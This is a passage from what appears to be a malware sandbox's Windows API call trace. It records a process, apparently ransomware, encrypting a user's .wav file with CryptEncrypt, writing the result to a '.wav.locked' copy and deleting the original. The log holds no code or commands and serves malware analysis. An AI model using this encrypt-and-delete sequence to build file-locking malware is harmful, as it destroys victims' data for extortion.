ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2f, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.437] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x30, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x30, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.437] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\xNEvPCIqTV.wav.locked", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\xNEvPCIqTV.wav.locked", lpFilePart=0x0) returned 0x3b [0134.437] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0134.437] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\xNEvPCIqTV.wav.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\xobuuprcw\\xnevpciqtv.wav.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x874 [0134.437] GetFileType (hFile=0x874) returned 0x1 [0134.438] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0134.438] GetFileType (hFile=0x874) returned 0x1 [0134.438] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x30, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.438] CryptGenRandom (in: hProv=0x4396570, dwLen=0x10, pbBuffer=0x698ffcc | out: pbBuffer=0x698ffcc) returned 1 [0134.438] CryptContextAddRef (hProv=0x4396570, pdwReserved=0x0, dwFlags=0x0) returned 1 [0134.438] CryptDuplicateKey (in: hKey=0x8e85378, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae798 | out: phKey=0x99ae798*=0x8e853b8) returned 1 [0134.438] CryptContextAddRef (hProv=0x4396570, pdwReserved=0x0, dwFlags=0x0) returned 1 [0134.438] CryptSetKeyParam (hKey=0x8e853b8, dwParam=0x4, pbData=0x6991288*=0x1, dwFlags=0x0) returned 1 [0134.438] CryptSetKeyParam (hKey=0x8e853b8, dwParam=0x1, pbData=0x6991254, dwFlags=0x0) returned 1 [0134.438] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x18b2\x7477\x8c0\x438\x242") returned 0x0 [0134.438] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x31, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.438] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x30, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.438] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x31, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x31, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.439] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x31, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.439] ReadFile (in: hFile=0x858, lpBuffer=0x69948ac, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x69948ac*, lpNumberOfBytesRead=0x99ae7a8*=0xe75e, lpOverlapped=0x0) returned 1 [0134.440] CryptEncrypt (in: hKey=0x8e853b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x69a88b8*, pdwDataLen=0x99ae79c*=0xe750, dwBufLen=0xe750 | out: pbData=0x69a88b8*, pdwDataLen=0x99ae79c*=0xe750) returned 1 [0134.440] WriteFile (in: hFile=0x874, lpBuffer=0x699008c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x699008c*, lpNumberOfBytesWritten=0x99ae780*=0x1000, lpOverlapped=0x0) returned 1 [0134.441] WriteFile (in: hFile=0x874, lpBuffer=0x69a98a4*, nNumberOfBytesToWrite=0xd764, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x69a98a4*, lpNumberOfBytesWritten=0x99ae780*=0xd764, lpOverlapped=0x0) returned 1 [0134.442] ReadFile (in: hFile=0x858, lpBuffer=0x69948ac, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x69948ac*, lpNumberOfBytesRead=0x99ae7a8*=0x0, lpOverlapped=0x0) returned 1 [0134.442] CryptEncrypt (in: hKey=0x8e853b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x69b702c*, pdwDataLen=0x99ae7f0*=0x10, dwBufLen=0x10 | out: pbData=0x69b702c*, pdwDataLen=0x99ae7f0*=0x10) returned 1 [0134.442] CryptEncrypt (in: hKey=0x8e853b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x69b7060*, pdwDataLen=0x99ae7f8*=0x0, dwBufLen=0x10 | out: pbData=0x69b7060*, pdwDataLen=0x99ae7f8*=0x10) returned 1 [0134.442] WriteFile (in: hFile=0x874, lpBuffer=0x699008c*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99ae7c8, lpOverlapped=0x0 | out: lpBuffer=0x699008c*, lpNumberOfBytesWritten=0x99ae7c8*=0x10, lpOverlapped=0x0) returned 1 [0134.442] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\xNEvPCIqTV.wav", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\xNEvPCIqTV.wav", lpFilePart=0x0) returned 0x34 [0134.442] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.442] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x32, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.442] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x31, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.442] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x32, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x32, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.443] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\xNEvPCIqTV.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\xobuuprcw\\xnevpciqtv.wav")) returned 0x20 [0134.443] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\xNEvPCIqTV.wav", nBufferLength=0x105, lpBuffer=0x99adfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\xNEvPCIqTV.wav", lpFilePart=0x0) returned 0x34 [0134.444] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0134.444] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0134.444] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0134.444] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0134.444] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0134.444] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0134.444] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0134.444] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0134.444] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0134.444] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0134.444] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0134.445] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0134.445] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music" (normalized: "c:\\users\\ciihmnxmn6ps\\music")) returned 0x11 [0134.445] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music" (normalized: "c:\\users\\ciihmnxmn6ps\\music")) returned 0x11 [0134.445] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music", lpFilePart=0x0) returned 0x1b [0134.445] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music", lpFilePart=0x0) returned 0x1b [0134.445] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\xobuuprcw")) returned 0x10 [0134.445] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\xobuuprcw")) returned 0x10 [0134.445] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW", lpFilePart=0x0) returned 0x25 [0134.445] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW", lpFilePart=0x0) returned 0x25 [0134.445] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\xNEvPCIqTV.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\xobuuprcw\\xnevpciqtv.wav")) returned 0x20 [0134.445] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\xNEvPCIqTV.wav", nBufferLength=0x105, lpBuffer=0x99adf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\xNEvPCIqTV.wav", lpFilePart=0x0) returned 0x34 [0134.445] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\xNEvPCIqTV.wav", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\xNEvPCIqTV.wav", lpFilePart=0x0) returned 0x34 [0134.446] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\xNEvPCIqTV.wav", nBufferLength=0x105, lpBuffer=0x99ae064, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\xNEvPCIqTV.wav", lpFilePart=0x0) returned 0x34 [0134.446] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae524) returned 1 [0134.446] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\xNEvPCIqTV.wav", nBufferLength=0x105, lpBuffer=0x99ae02c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\xNEvPCIqTV.wav", lpFilePart=0x0) returned 0x34 [0134.446] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\xNEvPCIqTV.wav\\", nBufferLength=0x105, lpBuffer=0x99ae000, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\xNEvPCIqTV.wav\\", lpFilePart=0x0) returned 0x35 [0134.446] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\xNEvPCIqTV.wav\\*", lpFindFileData=0x99ae24c | out: lpFindFileData=0x99ae24c) returned 0xffffffff [0134.446] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae4e8) returned 1 [0134.446] CoTaskMemAlloc (cb=0x404) returned 0x8eb8930 [0134.446] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8eb8930, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0134.446] CoTaskMemFree (pv=0x8eb8930) [0134.447] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\xNEvPCIqTV.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\xobuuprcw\\xnevpciqtv.wav")) returned 0x20 [0134.447] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\xNEvPCIqTV.wav", nBufferLength=0x105, lpBuffer=0x99adff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\xNEvPCIqTV.wav", lpFilePart=0x0) returned 0x34 [0134.447] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\xNEvPCIqTV.wav", nBufferLength=0x105, lpBuffer=0x99adf6c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\xNEvPCIqTV.wav", lpFilePart=0x0) returned 0x34 [0134.447] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae448) returned 1 [0134.448] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\xNEvPCIqTV.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\xobuuprcw\\xnevpciqtv.wav"), fInfoLevelId=0x0, lpFileInformation=0x69cb214 | out: lpFileInformation=0x69cb214*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ea1f5d0, ftCreationTime.dwHighDateTime=0x1d4a63f, ftLastAccessTime.dwLowDateTime=0xb7366960, ftLastAccessTime.dwHighDateTime=0x1d4a1c6, ftLastWriteTime.dwLowDateTime=0xb7366960, ftLastWriteTime.dwHighDateTime=0x1d4a1c6, nFileSizeHigh=0x0, nFileSizeLow=0xe75e)) returned 1 [0134.448] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae444) returned 1 [0134.448] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\xNEvPCIqTV.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\xobuuprcw\\xnevpciqtv.wav")) returned 1 [0134.450] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x32, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.450] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.450] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x33, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.450] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x32, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.450] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x33, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x33, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.451] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\xNEvPCIqTV.wav.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\xobuuprcw\\xnevpciqtv.wav.locked")) returned 0x20 [0134.452] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\xNEvPCIqTV.wav.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\xobuuprcw\\xnevpciqtv.wav.locked")) returned 0x20 [0134.452] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\xNEvPCIqTV.wav.locked", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\xNEvPCIqTV.wav.locked", lpFilePart=0x0) returned 0x3b [0134.452] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\xNEvPCIqTV.wav.locked", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\xNEvPCIqTV.wav.locked", lpFilePart=0x0) returned 0x3b [0134.452] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x33, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.452] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\xNEvPCIqTV.wav", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\xNEvPCIqTV.wav", lpFilePart=0x0) returned 0x34 [0134.452] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.452] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x34, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.452] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x33, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.452] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x34, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x34, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.454] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x34, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.454] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.454] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x35, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.454] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x34, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.454] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x35, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x35, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.456] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x35, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.456] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.456] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x36, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.456] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, 